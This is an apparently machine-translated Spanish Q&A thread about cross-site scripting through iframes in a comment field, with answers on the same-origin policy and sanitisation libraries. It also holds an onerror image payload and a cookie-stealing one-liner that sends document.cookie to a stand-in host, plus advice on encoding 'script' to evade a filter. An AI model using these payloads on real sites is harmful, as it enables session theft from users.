2011-11-28 13 views
7

Estoy experimentando con scripts de sitios cruzados. Tengo un sitio web que permite a los usuarios insertar comentarios y verlos en el sitio web. El sitio web filtra el "script" de cadena a través del comentario pero permite iframes. Entiendo que podría insertar un iframe que apunta a un sitio web que he creado y puedo ejecutar el script que desee. Mi pregunta es: ¿mi script iframe podrá leer las cookies iniciadas por el sitio web original? Intenté alert (document.cookie) pero muestra una alerta sin nada. El sitio web original siempre establece una cookie cuando un cliente lo solicita. ¿Alguna idea de lo que me estoy perdiendo?scripts de sitios cruzados con Iframe

+1

Para acceder a una página principal de una iframe (ambas páginas en la misma doimain), use el objeto 'parent', por ej. 'parent.document.cookie' –

Respuesta

9

Tanto la página circundante tienen que venir del mismo dominio. Esto está limitado por la misma política de origen, que establece que una secuencia de comandos en un marco solo puede acceder a datos en otro marco dado que están en el mismo protocolo, tienen el mismo nombre de dominio y se ejecutan en el mismo puerto. Se puede relajar ligeramente estableciendo document.domain en el dominio de nivel superior en ambos marcos, y permitiendo así que los marcos del subdominio se comuniquen.

Aunque podría intentar ingresar, aunque puede estar bloqueado en los navegadores más nuevos.

La secuencia de comandos de limitación no es suficiente para detener XSS. Hay muchas otras muchas formas. Ver http://html5sec.org y http://ha.ckers.org/xss.html

+0

Si entiendo correctamente, es la cuestión del iframe del niño establecer el document.domain, ¿no es así? * (ya que hacerlo en el documento principal devuelve un error de red) * – user2284570

0

Por lo que sé, un iframe no puede acceder al sitio web original si el dominio del iframe y el dominio del sitio web original son diferentes, pero hay other problems. (Ej. Galleta comentando <img src="asdf" onerror="alert(document.cookie)"/>)

Es posible que desee utilizar tantos como HTML Purifier ....

1

cookies siguen política del mismo origen. Entonces, si el sitio web de ataque y el sitio web de la víctima (que permite la apertura de iframes) tienen el mismo host, la ventana emergente de ejecutar document.cookie conatin la información de las cookies. Dado que en su caso parecen tener dominios diff, no será posible robar las cookies. Para evitar XSS de una mejor manera, utilice la etiqueta C: out de la biblioteca core jstl

3

¿Parece que está intentando usar la cookie como carga útil para el XSS?

¿Estás tratando de robarte la cookie?

Pero si el sitio es lo que le permite insertar comentarios y sólo la eliminación de "guión", entonces usted tiene un montón de alternativas para la inserción de XSS incluyendo la escritura robar coookie.

probar este

javascript:img=new Image();img.src="http://yoursite.com?cookie="+document.cookie; 

pero desea codificar el guión palabra por lo que puede en su lugar se puede tratar

script de

o Unicode 73 63 72 69 70 74

Cuestiones relacionadas